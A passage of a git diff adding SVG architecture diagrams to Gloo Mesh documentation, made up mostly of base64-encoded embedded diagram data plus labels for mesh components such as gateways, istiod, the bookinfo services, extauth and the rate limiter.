bQZkqNUqZM1zullXNUs9DGRDE5XHUwMDAzQrNcdTAwMWT7XHUwMDEyblx1MDAxMWmNTdc1hEx5ONNaZp22aVx1MDAwYlx1MDAwNFx1MDAwMKDW9L2ViFx1MDAxZSSk+Vx1MDAwZjZKPY94JXPtu6pN22GityjD7918Mqi+cVwikKnrJ03BNfNzJfhcdTAwMGb2fctUKTNqYsq8uaLbJiU53dCNIGVcdTAwMTHbizlVYlx1MDAwNlx1MDAxMqntL1tcdTAwMDLJh9tcdTAwMWOZmntcXPqWoz3NqW9cdTAwMTNcdTAwMGYv0pXewyXSuJ2PZyf6Ptr81y7su51xnajB8+5Kx6g7oWBaYGyqI26sdff50i2KXHUwMDBmLvXjeTg3fHlol1r37V1cdTAwMTjFakLSMXVO2Vx1MDAwM265XjmPooRupnNcdTAwMWLkgf6vco2Vq+V1ndstrkJTzFx0XHUwMDE3x+ttvI+GvSVn8cJFuVJcdTAwMGJlyrNi8lx1MDAxY4nhdPRcdTAwMTNXcai4iiMt78GH9Tuid77hXHUwMDE3oKLbXHUwMDExPfPIr1wiyJQ9XHUwMDE1W1x1MDAxNHXzXs/A0lx1MDAxMCW9IVFbdFx1MDAxM0hcXFxyIzvSXHUwMDExPVamXHUwMDAyKVx1MDAxM3/XXHUwMDE5PVx1MDAxODlDmN3Zf3tccrjhtPRmX+ejXHUwMDFmz/vs9KvH878n+3uqe1x1MDAxMFx1MDAxNulat58gU4pE2tt/+HbrmtwlytXe6EFcZt/aeHRbXHUwMDE4iaedupd/KWFBXtrJsFx1MDAwZSphgVx1MDAwN6RcdTAwMDRn/u2JTkNZrvDdTalQ64k+XHUwMDEy91ft90I1p/I/lOVQlOVIy3ukYXG+V1x1MDAxMZV8sfxcXHu4QOfRdFx1MDAxOE2TQVxcXHUwMDA1P4blfMNcdTAwMTMyLI49giA5UYqiLYIgvdczuFxmi3tiOOHBYlhzXHUwMDA3J7N3xP1cdTAwMGJcdTAwMThWrTRcdTAwMWFPa6PxiSiWXHUwMDBmN1mlWJ+z3Z9jXHSP3shEm0N7LjbXUHlJ8z01YDehcG0gktfVp/zLOPBcdTAwMWHKTcSZwMBV5PznioZcdTAwMTIlLE0o2Fx1MDAxY6bEhEdW3Mk9sdhU+FHslFx1MDAxOXNe++GxPLEsgdDoTj+3n1x1MDAxYZlw7j2fTmH8eoBxp3Wei95cdTAwMGVcdTAwMDe1XFwl9UxDqfQwVtVB9vDa21CsXHUwMDE5TJgrRLbp79ogXHUwMDE1dDNNPlx1MDAxM3QuZUO28+GLVsZFmYNiMHFKLYJcdTAwMDRl+tfPXHUwMDE1TdZ6I03exFxcXCJElWtOwX47mUtcdTAwMThkwtRHO2Lpq30094Yln0Uq/zBIUZlplVx1MDAxZdvpXFw4tD/x/jGXjrq832VYP7PG+YZfXHUwMDAwtm5mjXBvKIlN/UO9jV/KezlcdTAwMDPLmajyXHUwMDAwWrB0TMFVX6A9ik1D1nlcdTAwMTGWXHUwMDE0qaVo+L/BppmNS6/jpn11P1xyXHUwMDE5W2vn7VxmmXHf9i1XrFx1MDAxOFx1MDAxZsKwZsV8zG93viOIe+1PSoHKI7LFXHUwMDAxTuHqsVxcat7pVGGEo6FBu1W/6+zUz/5L+Vx1MDAwZbOoraLHcnpcdTAwMDNjXGZcdTAwMDeV8MBcdTAwMWI5wuiEXHUwMDA3OV57XFzxvfwgp5okXHUwMDEyxVx1MDAwNJbFXHUwMDE3/IDPXHUwMDFmflxiz6FcYs+RlvcvXHUwMDFm1o9HOd/wlDxKuUYkSaWVScjaPPfWezmDy6O0J4BzXHUwMDFkJFwixUxcdTAwMTNbxORf5Vx1MDAxYlx1MDAxZcJtzjqtbmvsklx1MDAxN78zmfLxXG77XHUwMDEwklU+tTTPPUhcdTAwMTXyOLMhSJtcdTAwMDDdzT3C/CpcXH08J+nYm6qEXHUwMDA2nZtcdTAwMDZ+TOyUVvWlpIp42TYyqJzKdE1cdTAwMTfUXtEgSJQqko1cZl5cdTAwMTiLllx1MDAwYvnOU6LbU8nX+1x1MDAxZkp1MEp1pOX9XHUwMDE59lx1MDAxOMP6MTXnXHUwMDFinpKpuVx1MDAxN1x1MDAxMjB9xqSmcouTXHUwMDA17/VcZi5Vk17bglxuXHUwMDE0UyNcYp6I6cb7d1G1WrU1+lKO5sNv1jjafII7qSCTXHUwMDFlKoiUMl2hNvc6h1x1MDAwNU/ii34j1UnF6u369PoxUmC78LIvVECJXGKomCBSayFcYlt0XGb46MGotSXwvFx1MDAwMVx1MDAxY4L3eJRcdTAwMTPb4KDejZnZ42I+1U+uJ7RrLJDG9v5cdTAwMWNfnfTptaGd6GTbUbnVpsrd6PT7oW5t1FxmlarVfm/0316vXHUwMDA0/1x1MDAwNFx0qjmqvNg1WMfDx730LVaV22uCnirv3r1cdTAwMGZcdNdESayESXvewlx1MDAxNvN+6lx1MDAwMdV5ZXrzcVx0aq+RXHUwMDEwqyVcdTAwMDSxlKZHkjB9x5Tde3JInceEWpxIXHR2IdyLK4euq6ZVXHUwMDAz41xma01cdTAwMTnHQq/7u4VGWC3V9fkjs8C995WzlV4rlDDTO1hcdTAwMDFqK6bWc665XHUwMDA1XGZGa8RN8Irmasc0cO+wtOVJMaWZSc41bWBsNdA/p4SpJVxi50xJRlxywjs0pflW9S1cXIXbvNbEejHcP/bfW1x1MDAwM5smrmSGM1NPQ2xRmCx8/fw0noyynZd8ZjDpzm5cdTAwMTFr04DjmtDMkqawi1aI0lx1MDAwNcjPS1tcdTAwMTDOLNM/XHJcdTAwMDDDtFt3XHUwMDA3tVxy6nu7gVx1MDAxYadcdTAwMTbRwFx1MDAxOeEuklBuS4Vb1CTDwpg0VEhcdLNcdTAwMTHUXHUwMDAx1Fx1MDAxODBcdTAwMWPKjthcdTAwMDcmIH2gXauVifJbnb+H4oPZ3Xk3cZ/qJlxicUJcdTAwMTZkXHUwMDAxmCglgcOaXHUwMDE2pMheR+ZcdTAwMDNZiLK0hmdcdTAwMDLQY1rroXWw+1bA4ipg86trsrUlsvhcdTAwMDQ1u8dcdTAwMDVgttyf3Vx1MDAwZlxcyNN97fUm+Xz1XHUwMDE2z415spGZdDpcdTAwMDFcdTAwMDdcdTAwMTdKvNp8zNPcMePKVPxUjFx1MDAwNql9XHUwMDAw5pJcdTAwMDL4kYA2lqqnO9fNbKxx0SFPxbtwddJoJ/iPXHUwMDBi+1Au7CMt7/dcdTAwMWH2WFx1MDAxZKBcdTAwMGU+XT9cdTAwMWa281xyXHUwMDE3w64p67F92JK7XHUwMDFlbEouXHUwMDE44miL8ifey1x1MDAxOVBcdTAwMTc2pZ5cclx1MDAwN4HIWeJAXHUwMDFiw0HCNpHShFF9xKapXHUwMDAx9GH3+uNQqzf3I32pJ9uH6Kw6u+zT3J2pMduzXS1cdTAwMDRcdTAwMDZcdTAwMTRcdTAwMThcYvNcdTAwMTZcdTAwMTFAk+vMS3dw9VA6v2PRWDZcdTAwMTFcdTAwMTNJ6qaTXHUwMDAxiTUwVE3azpSWa1x1MDAxYzKGpcU1XHUwMDE4iPMqbdK9gusmwVx1MDAwNlx1MDAwN+70hDhV2Fx1MDAxNMVcZiRVeyfJ1sPV1UPzgkXxXb9WUJdv1/vvzkdcdTAwMWH2WFxmUPVcIonupFVLvpyPmjfhu7vUs9iv7eOvcUe16LWMlVx1MDAwN7NoajpcdTAwMGUnYpeF7Gy//j7f8alcdTAwMWR8WD9K5XzDXHUwMDEzUiqmXUtwK8a52ip52Hs5XHUwMDAzTKm8XHUwMDAwnHJcdTAwMGJcdTAwMWRcYsBcdTAwMGZBqbQpusDV35Xcf1xuNuXDRdaLJm3ApNyrbLh3+aBYXHUwMDFiz/7mzvTRbaV23s5cdTAwMGbpfTpHny7rTfEs48H2d4HhZlx1MDAxMVx1MDAwMuIjiZCKSLxi1yAtLMk5XHUwMDE3hIOcsf1qqbpcdTAwMWVcdTAwMTIyXHUwMDA32uRcdTAwMTRcdTAwMTjAJCFUnPBcdTAwMWPQa0uLYPoue7r7MolHmpNs6epqMn1cdTAwMGZ6YEBzPFx1MDAxZZRbvcDFXHUwMDAzOMzLU7/dw1x1MDAwMLB7vWRYVlxm/7P3XFz1XHK/83zIwVRxajri4nkvK1x1MDAwNHquljVcdTAwMWPLX1x1MDAwN2acXCKBXHUwMDE5P5KGI20x01x1MDAxMlx1MDAwZUCVUtPDcV3hlbK0aThj2rpcYq71Wi14bDrkanuB8e99ZOZ2MOa9jZytxFx1MDAwMVxiPG/rLFxiSDqm3nFcdTAwMDBcdTAwMTgxvWNcdTAwMWNcdTAwMDBTxftyNq9cbtVuuHaXZI/1XHUwMDEya7hMSlx1MDAxMFx1MDAwMVx1MDAxYorgjIJgIabX5kSQRTQhQLyQllx1MDAxY97M1ib1rc7r3MXbvNZcdTAwMDR7Md4/9t9bY1x1MDAxYmFcdTAwMWVdfJCJo7OH3Pl28UF3g2Fy8nLHVf08+ZLk7dx5Nug2XHUwMDA0xkLa+6SqXHUwMDE1dEOSbOaX3SC22LXMo7Sk7aWIQ6dcdTAwMGJbMbfPstRgTih6RFx1MDAwN21Azv+XrnwntXZ9rOZcdTAwMDU6v6VcdTAwMWG7mSDE/cRdUVx1MDAxM523TbPjW/588Zh8XHLdjVlcdTAwMWKl3u9b51x1MDAxN+PAV8RQJo6KaqHI/CddXHROllJbXHUwMDA0YcZcYpVUK+mqw5tcdTAwMWO6u5ZqletKa2/79dGORlwirIhWx8u8P67S7uRcdTAwMDOYYGfzXy298/g2XHUwMDAxzGMnXHUwMDA1XHUwMDAzO95NwYhcdTAwMTTCNIDbPKblvZvPjN4vXHUwMDA3iW5cIjnO9Vx1MDAxYTn83mtcdTAwMDVdwTQjXHUwMDE26I6pY2Z+XG5cdTAwMDdcdTAwMDWzbZJcdTAwMWVl+vZQMOJUlm9NwbBcdTAwMDZccmOaXHUwMDFk0ctcdTAwMTZEXHIjXHUwMDAx0TCyq4a5bmGmvaVk2/DQxPSxVFVXSLCx5jgrXHRrRN36rVx1MDAwNUbDsNDK4ti1XHUwMDEwplGxTVLcjr+FgVkgjSfgiOXy9vGite+bxavyfSpcdTAwMTRqj5LV+3apcM1dKqRcdTAwMWTdi/b37JBcdTAwMWU9xVx1MDAxMGVcdTAwMDJtU/syXHUwMDFiuz7nbJSaheroKVx1MDAxN1x1MDAxMeGnaj74XHUwMDE5qlxuS4uyTztyNVnG6K/ZXHUwMDFlXHUwMDExqDZcdTAwMTLc1nLs6/dIIKDGzUC/q+X4d26R0qu+rMnItCc8+ulYronvq2NcXMVXulwih9XqdFi6SXxcdTAwMGJcdTAwMWQz3fkk/vVzVcc4/lxuXHUwMDFkc0hBW9cxzjDYXHUwMDA19lxu33+DjtGA6Fx1MDAxON0jLE5SXHUwMDBmp6hcdTAwMDB0J2yL5r+3j7dvqVx1MDAxNzGKoejjsDK5eZtcXL9cdTAwMTddXHUwMDE0LSDnPUxJXHUwMDBio0VhLLaaIUWJxTnQayXNXHUwMDEx934pUlx1MDAwN85hoPB0JOJH9K/sXHUwMDEzXHUwMDE4142cdyvPXHUwMDE411P4PVrt3s46zfFVcCPYvltcdTAwMGXDkZb3e1xye6xcdTAwMWOG77Jcbn5xfM43XFxcZruGXHUwMDAxx47jU8Q1XGbbNOBWRIkt/Pfe61x1MDAxOVBixzTx3nE4stCBdpyDJEcoc+Z80vjrXHUwMDEzsLtcdTAwMTFwpmppWD2761eded6R4vl8ONQq+1ua5+480Fx1MDAxZT676pNcdTAwMTRGJ+31nfzUsl2pdmtXz1x1MDAxN9HM44hcdTAwMTRcdTAwMTP1XHUwMDEyem3IXWjg16VHMMUtschXsrto50pJsbJcYohcdTAwMWFlXGZsU+Wqk1+fXHUwMDFloZTmzLQ4XHUwMDBiJFx0fCVVmc6Uz1EmVM88X1xcl8OX6fT+XHUwMDFi6ZGG/cmO+I5P7btcZutH1pxveEKy5lGg1zTu46aUzsabgvdyXHUwMDA2lqsh722BcktcdTAwMWVmWzhcdTAwMDRVo1hcYoboXHT3glx1MDAxMzA1ID5n09a4eXbZm/SduylcdTAwMWWLq/lcdTAwMTCdVa62MtPd2Zrg7lHagmEgXHUwMDA0Yosj5NgwXHUwMDFlmzWz+fOrVLb70FDpK5RWQffaMYvY1HI5jpEzJCxFXHUwMDA1/Fx1MDAwZiGlkUeU9lx1MDAxZXWNdqNrXHUwMDFhMcxcdTAwMTE6YWF7rz3v4TzVTzzXZ/l45k28yPA5XHUwMDFkN/vB5VXfzWd3pOU90rB5ndaKquxz+ykxbKhp5PVl+nyAVbhtoVBXNlx1MDAwYrnnXFwyM1x1MDAxMZ2QqDVcdTAwMGbhtMuiimyU0PBcdTAwMDbnx7lSNIKi+KV3gHEnKdpOTFx1MDAxM1x1MDAxMTqZjNrVWCeByvhcdTAwMTDsvYsqV5eT+uVr5GrUQ++x6lx1MDAwM3rcMFx1MDAwNeprxcGPuDrf8ITEVVwidy+jwFx1MDAxNDHGt1xi0fBez6AyV6U9d0jCLLrJXHUwMDBl+UVVxDWWJl/xiMmKXHUwMDAxZK7RTr9/dltcdTAwMWI1v9zJ6EP5Vonr8kT34K3SveOL5lxuy63COrqDvFx1MDAxZWZns0gx1KxNU5H711nNrVx1MDAwN3hAeSvlK2qpucWQlNqUobVX6zxo5ONup81cdTAwMTh0YFx1MDAxZfJcdTAwMWNI5opcdTAwMTRPJy5n5+HoqEa6pUKlf+22+f8w1+3HPdLyfq9hj3XafPDp+lx1MDAxMTbnXHUwMDFinpKweVx1MDAxY1x1MDAwYjPMKNFsi2Nh7/X8JoRtdWvgmFh6k63hq1pcdTAwMWRLUz5VqVx1MDAxMzaSP1x1MDAwMWW7XHUwMDFljVv9L6drPkxnla4tJrmTMlxu7VrlxeSnYKq2cC6GXHUwMDBis+eyqHbzWpd5/O06V33LurWCXGKMLnIkLWV7reSnmFx1MDAwMvVcdTAwMWK5/feN0NB4XVx1MDAxM+la9C3BlFx0yVFAa1x1MDAxOddQ4nE6rejbWWRcdTAwMThSk0jjbtSKb7Zr7rNcdTAwMGY56vnGlV5cdTAwMTK1Rq3nrOS2kOivXHTw/ZjLblx1MDAxYqtyXHKkh1x1MDAxZIZKYefzvtmcXHUwMDE01zpDXHUwMDFkKTZvRqN+tpu6XGYl3eI6XHUwMDAyo8uYam2ZrHBQVqZcdTAwMTXRy7pMtZBcdTAwMTbiny+2l83lqc3SIeNsXZux0oiZtNNAKvPN6CpcdTAwMWNcdTAwMWbEJldccn5fzdduWCZ5XHUwMDExXHUwMDBlujJfdFpLXHUwMDBm5JTK/DFcdTAwMTdPZfbo0uS+NVx1MDAxM7jGiVx0XHUwMDFi3FifvVx1MDAxZmYgXHUwMDFkKEA+uCWxaeXAXHUwMDE1QYSqXHUwMDE1bVbMUlx1MDAxMmNsalx1MDAwZlxigffLinHv02SqXVxiqTnciWAlXHUwMDFjeppIy1x1MDAxMHlCQZ9hunbY+VB0XHUwMDAx1Fx1MDAwMbHvW1x1MDAxZGHD+kzem8aZvXFcdOZcdTAwMDIpzaWGh4xccrmyveujJ1x1MDAxMrOIIIIqJaRCXFz9bubhUp7p21x1MDAxNlNcdLlLmHmtydZivH/sv91cdTAwMDBmXHUwMDBlfk74QolrYFx1MDAwMSw5J/BMNoeX3Cj6ctnTt53HXFzovTh+yqvzplt1laDAi2TYXHUwMDAyXHUwMDEwmXeZJVx1MDAwMpZ4mfgjqi1cdTAwMDZGL6iI8Uh4MP9aXHUwMDE515g3ujhcdTAwMDaBUmVcdTAwMTFcIjRYXHUwMDE3QmnNhHAwxjmytDDte0yjMlx1MDAwZVwismZcdTAwMTEg02GLMOKHLeFcXGNQfiwlyKCRzeWS9VSvXHUwMDEwidmV83JcXCRTkntcdTAwMWXGKjepl4e65MV3e4L5v+Vz0q5W6Ut52GhcdTAwMGWT+el7L1OwXHUwMDFmjlx1MDAwNtb8XHUwMDBmREWmpWtcdTAwMDdFXHUwMDEwwi1cdTAwMDZ2K0dcdTAwMWHglOhcdTAwMDX33OjT7lJoXphY81wiXHUwMDE1nCktTJ6C3G+8NXn2XHUwMDFiXHUwMDBlXHUwMDFk7tPb1qVyhU5MXevmwPeViG3TYKB8fTtcZr+1rjqoU3vT+d6g81x1MDAxMilcdTAwMDRcdTAwMWQ6hVx1MDAwMOrFXHUwMDA0XHUwMDA24kU5W6mNO4dOXHUwMDA0+7pSWplcdTAwMGWAh4fOxXxcdTAwMTaF5NYkdc3cQlx1MDAwMlx1MDAwYo79nSc/UPmnQuXSu72wbV+AcFx1MDAwZtrEWlx1MDAwYsXZNkGbjXY+Nok2XCJlMbpcdTAwMWU9VuqJViT/rVx1MDAxMIIu97XnyFx1MDAxNDQgkmPGJFHavYL9zlx1MDAwMOGBXHUwMDA2n4ixVnlcdTAwMTJzTjGB9/o5ZH5cdTAwMDDiT1x1MDAwNVxid7lZ+fhGXHUwMDAw4Vx1MDAxOSGDkTuN0Fx1MDAxMjNcbsqzucO2U1x1MDAxZryP7m6Tj0/3+crL/WUjMXu4XHUwMDBmvMN2boNcdTAwMDFNNJ22XHUwMDE5wWy5/t4qkdjLXHUwMDA28/TXXHUwMDFlxlx1MDAxNJOAaFxi0N1cdTAwMDc9glxmXHUwMDBln/dwXGYyWPaD2KSv2ShfVrP5zPXwKd5cdTAwMWa/91VoKCubxkRcdTAwMTTTfNQr9nX8/C6TXG4/NMaN+5uVWIadYi3uJ493dHBcdTAwMWTpZFjjUXf1S5zGi5uNu7aUh4qKcKNcZsTuf1ilXGbGXHUwMDA1Rsg2aHCf4q3QuJm+vC68XHUwMDBlzidcdTAwMGaVt9f2NOiUgSlTXHRQKdB4peg6Z2BcdTAwMTZcdTAwMDJjXHUwMDAyNMzYV1x1MDAxZZVcdTAwMDI34FxmVVRnde1AXHUwMDFiQMc1cFx1MDAwMCaR4SdEO1WsNnlgXHUwMDEy1JxcdTAwMDFswYykQ1x1MDAxYT1cdTAwMDBcdKHweVx1MDAxZiR4fy40Wo34y915p9HJ9bvX0XycXHUwMDA0XHUwMDA0XHR+aMLSXHUwMDEyrtBcdTAwMDRkSaWJgH1AYoHZUll7031cdTAwMDDk3Vx1MDAwNHdcdTAwMTJhXG5VY2C5m4xoxFxuwy6kiL2P5vwqyFx1MDAxY5dcdTAwMWF2XHUwMDE44CaCXHUwMDAzP/FcdTAwMWKPW6ZcdTAwMWGzXHUwMDAyXHUwMDExpprad6v5cNgyyWNcdTAwMDZTlGZIY+Y3XHUwMDFjfCeCKCgmNi9qXHUwMDA0XFyuTlx1MDAxMHHg8pJSqpCQwm/EvVxcM7VOpzVcdTAwMTg5I6mUrlx1MDAwN2eYXHUwMDEy2LpcdTAwMTnmm1x1MDAxYl935FVR1sxcdTAwMTRE56GPrshcdTAwMTNGg+Y3QFJsnioxjmuyXHUwMDEy0YKYsCjsKdQ0PVx1MDAxMdgjY25cdTAwMWYgxcCjOdxAYVO3XHUwMDE4IVx1MDAwN/vL4z2/XHUwMDE5lTLNIexcdTAwMDdcdTAwMTHBw9HdarpcdTAwMWWLUfmOXHUwMDFiLsxcdTAwMDYtVWDx/EV6/FZs34ZvY1x1MDAwZsdkPr9u23+/jTcjiGXIS2Y6K7Zyl2Jka13mXHUwMDFj2/KrNqLgXHUwMDE2iIamgpuffMXXiKW2JMVCUlx1MDAwZehpi976LGuIXHUwMDFkTmxtsVx1MDAxOOs6dIhcdTAwMDD8bewt19In1dKoWdtcdTAwMTFcdTAwMWGOfMD8u1wiXHRsXHUwMDAzsMDrXHUwMDFkXHUwMDFizddyhWGDwYRcbrlcdFxub1x1MDAxNbJyXCLGv1x1MDAxMOPPznvj2rBbq7ZghLOLc5tYbFx1MDAxYtOyY5SKc9jLXHUwMDE2sSur38BzN3ZccmLR2qu2q8mOJnjz5Dzvp1x1MDAxYsytXHUwMDE4iJJcdTAwMDX0XHUwMDBi+CAx4d5yJTfPRJdyjSmex6NcdTAwMWQngkVJy1Q1V2DWUCaZdijzXG6zMPWdXHSwTpMxaZ/I71x1MDAxNp/KVH09YYPBL1x0YPHepc6WenlcdTAwMDHwXHSlMWZcdTAwMTTIXHUwMDE0olx1MDAwZVx1MDAwMSzIXHUwMDAyUkO5MlWMtVx1MDAwMKr98Vx1MDAwZZdcYlx1MDAxNrdJeXv2zuxRNZSC5YCBm1PTQ8nuu1xczFx0zFx1MDAwMqmBVyHYOiWna3P6VrEzrrI9v7om1ltaXHUwMDE57rEz7iXUXHUwMDAw16RcdTAwMDJcdTAwMDNoi/Od+PDyNvKCbmLZXHUwMDFi9ZbXb1x1MDAwZrORXGZ4ciMmJvjOXHUwMDE2PLOCa0RcdTAwMGJ78MxcdTAwMTFcdTAwMGV4XHUwMDBl4rGFXHUwMDA3aeqnKOXHm+LNUT5cdTAwMTE7R+30Xas4bURcdTAwMWX6o/O2XVx1MDAwN3P98f3T7Wvn4rJ4KabJcLlC7+zlPv9t3N+17jv06vy9fK97l/nrq5tLZX/DjyfnJ3jmr1xinpHuZcglQtjk2mzOXHTxtFi77ZDszWxcdTAwMTiuVqZPNI5wJ+DYSWFcdTAwMTemi+iZxXJ8QmdcdTAwMTCDZyTAJJFI+MVcdTAwMTn+QOWfXG6VX1x1MDAxNTzjXjmCXHUwMDE53zdcdTAwMTVbtCloXGZen2OVx9HTdTlUXHUwMDE0qFx1MDAxZXlD0dG3wlx1MDAwN6pXXHUwMDBiXHUwMDExXCJcdTAwMTXE4Fx1MDAxOW5KesNcdTAwMDP6wYf59b9cdTAwMTBcdTAwMWa+NHbGvWtcdTAwMTDYJliTpbp7fihRmExcdTAwMWbK1WzsrXWT63KdqlxcvlfdLLDgXHUwMDA0z8xtMFvwzMo5z1xukVxievBcZiFYXHUwMDEw35OeIIPD5z3+7thcdTAwMTnPcdkgV3gqVdDoonD3npmVQlf15/xm4649ouPH5HCPXHUwMDBlXHUwMDE2QmtB7M1cIv1A5ir5kCe95+6trOjHfKc7aGWu3lx1MDAwMk5FiMaWXsTksLVS+dhcdTAwMTaTc6yj5IPE5ChcdTAwMTP8L1x1MDAxNPdcdTAwMGLtZblcYsmnks/pwfT+JcNCt5Hcy11AXHUwMDAw5od9LC3hT0jOd1x0yVHY3edcdTAwMDN2XHUwMDBlQOk2NZ/6zV61XotcXPWi569cdTAwMTnJiuHnxFvjXHUwMDFiXHUwMDAwqbCF5Czw6cOmo98mJlx1MDAwN0khXHUwMDEwI75VK06JpD9BOXv27nKvPYHhjorYT8D89DXZXHUwMDE45F+SzcyLxqm4ymaKkVLZLTn8XHUwMDE0oTJuUXREWnxcdTAwMTF4tGJdcSbtcUf7NYt0bclqXHUwMDBic/aqIyOlNMefX1x1MDAxN/7zVVE5QbQlXHUwMDE2grtLgZphvz8+q5jgnXqrXHUwMDAyt/SL2fmaUjVrs/JEXHKPojXSNaWJUqLJUlxiiVx1MDAxZm54P99g7vNcdTAwMTJLS4HwwFx1MDAxN9VcYvbJlYZ/nDLAXHUwMDE0+LNcdTAwMTSKcC/f7Vx1MDAxZVx1MDAwMT+mbo7QMFmMXHUwMDE5Y4Iwh+bpWGlcdTAwMGJYKINcdDNzJLdWXHUwMDAzmGKmgav84Vx1MDAwMT/eW9PZUsBcdTAwMGY1TjZcdTAwMGXc3ZB9plx1MDAxN/2Bzj6ja6hcdTAwMDXGMDB7peBBK2DzXHUwMDFm79gy4sfbXHUwMDFkeWaP+CFgmXBFXHUwMDExbELwqMH0WZuUtpBEkmujfUojvDalb1x1MDAxNfDjLtvzy2tivVx1MDAxOPBcdTAwMWb7b+cgZfKML/B0Mpw+zVx1MDAxMtW7yUyJ1KONXHUwMDFlucDfXFzvsUD2KOVVVyxdXG5S5msqK5BTIVZbWO1PlPJcdTAwMWVRylx1MDAxOIExY1pcdTAwMWasufPmSOheqJ6YwD0tN6qbuFxuYEs6slx1MDAwYoRcdTAwMWTYO8JWXHUwMDE0xdf9weTSLUIgjn5cdTAwMWZcdTAwMTErdyHEwYuwLfD442U4OeiMounUa6syqz2kumhEw5cuKFx1MDAwZaY3o6b7XHUwMDA0MTX0XHUwMDE0tfl0Plx1MDAwMFNYXGbMdExcdEdMXHShfEB8b6T0XHUwMDAwpHqxLy6z8WR0pEalRKX+1lxmvetcclx1MDAwMYmrJUBajTJh1Fx1MDAxYpG4k5v1XHUwMDA3kVx1MDAwZYRIxDhXiL3QhFxykIT70aapdFxij2uj4NJgXHUwMDAzUlxik2V4wdr/M0yt4Is/JIVsgvzrM3bPalx1MDAwMDBcdCCJXG54qOZcdTAwMDTFdFx1MDAwMVd8XHUwMDFkksgqJO1ILHFcdTAwMWblKipcdTAwMWVLJp5i7ziSo+e9cslcdTAwMTEosYmclmDDmMrXQF+kWptcdTAwMTSwXVx1MDAwMFBzpsK45Fx1MDAxOMBkbVK7w+E/XHUwMDFmXHUwMDBm5d/SYJBcdTAwMTlcdTAwMWKL9Pe3+nfSqk3D7r2W//mYgIGSmvku//P//vl//z9Klt3RIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientintermediate CAroot certificate \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg b/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg new file mode 100644 index 0000000000..5809d9e18a --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3dcIkm27nv/XG6tvq9DnvDmvMkgXHUwMDA0skhcdTAwMTihO3excMKDhJU46/z3u4OqXHUwMDE2XHRkJIlwyZSYXHUwMDFlqlxuXHUwMDEzXHUwMDE5RG7zbf8/f52c/D34fKv8/d8nf1c+SoVWvdwrjP/+l3l9VOn1691cdTAwMGW8Rab/7neHvdL0k7XB4K3/3//1X4W3N2f2LafUbf/6ZqVVaVc6gz589v/Cv09O/mf67LpWr1JcdTAwMWFcdTAwMTQ61VZl+oXpW7PLXHQkXHUwMDE3X73rdqaX5lx1MDAxOFPJsUBfXHUwMDFmqPcv4HKDSlx1MDAxOd59LbT6ldk75qW/R58vycwrP715yj42VP4uVqnmsrOrvtZbrafBZ+vX7yqUasOea0/9Qa/brGTr5UFcct7HXHUwMDBir399r9+FXHUwMDEzmH2r11x1MDAxZFZrnUq/P/ed7luhVFx1MDAxZnya19Bs+79cdTAwMGXhv09mr3yYn6lcdTAwMTFzXHUwMDE00pzQX89f75rvXHUwMDEzplx1MDAxZMWV4FJopinicmFj591Wt2c29n+Qkq+8ONtasVBqVmF/nfLsM5hcdTAwMTSVXHUwMDEys8+Mf/9cXIKUQ1xcXHUwMDBmJr4+UqvUq7WB+VxmXHUwMDExjnY/2Gwrlek9UVJiyoSYvWGu/1x1MDAxNi/PqGP66kU5mqyevV09lF+SY35auzy9Pnv72lx1MDAxNHxgOHy4yZSS40/xctNM03bpfHB5+/fv9//f4q2pXHUwMDE1em+/b8HfffNcdTAwMGbXXHUwMDE5mJ9cdTAwMWZdJFE3mbrIp9tsqP7tPet3zyaqx6uNj2facm3LRdOFXq87/vvrnf/9l9+6zd5LUU1cIrWn+NlcdTAwMTmRtfRn6vzyMti6Sz95+FYu/GJcdTAwMDAsXHUwMDE4XHUwMDE3WFDGiJzRTKveacKbnWGr9ZdrZ+syJbIxJWaYXHUwMDEyrVxiU4G5MtK/Ped6rGjtXFw99vP9xFvy7SbsXFwp4Gc6QiuGyfRcdTAwMTnPcyXWXHUwMDBlUsBwWmOJOVx1MDAxMdTKlUxzYFp/riREXHUwMDE1K1x1MDAxZVxciVx0QXMspzy4Ui2xIZVaXG5cZv8/XHUwMDFjXHUwMDFiTn/gN9mwfZFvXGbHjY+3WD5byXS6LPGRXHUwMDFhb4FccpPVzjkpZ1x1MDAxNMjYXHUwMDE0vlx1MDAxY51F7kavNNRsSOy6UWOtOWOBmVDxilCdVOOW1d9cdTAwMTVcdTAwMTGvT48l9lx1MDAxMHomZJS6mZDMMyEnc0womZVcdFx1MDAwZq9cdTAwMWG50JowLNThePJAqvEwvMOYtqswITVcdTAwMTVcXFx1MDAwNeee88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZfCr8Kkwlx1MDAwZfxONP21SKo57sGaODyYXG5D04cv91xmeoVO/63QXHUwMDAzWlrmIKXlPHcsM5BSoG1dXHUwMDBmvsg/mDNcbrBDsFx1MDAwMzLQJkrtSaYvc9GbQnGSXHUwMDFmpVx1MDAwN61C8Vxc0tJcdTAwMTaU2lM6Xs1QNri44o+XpdfKa/Qlc1x1MDAxYWbGdOOVXHUwMDA1xqRawH+Ki8B8OVSVVOLzlrTvyi/PzbPXaqubq4adL7miMlx1MDAxY3yp6Gq+xEuciFx1MDAwNdwmKVx1MDAwZqnKVnHinmmaSytQo5pSSohcdTAwMGVO0/VatsXxeen58amZPr/tpFp53FxyO01cdTAwMGLMtYOt5lx1MDAxMlNBzaXDIzUmXHUwMDEwlVxc/YFOjFx1MDAwMyE1pGzMI1x1MDAxOKJkLV9DYTLMytvEXfte3VXuy1x1MDAxZoPea/d2f8yDvsU8XFzJqU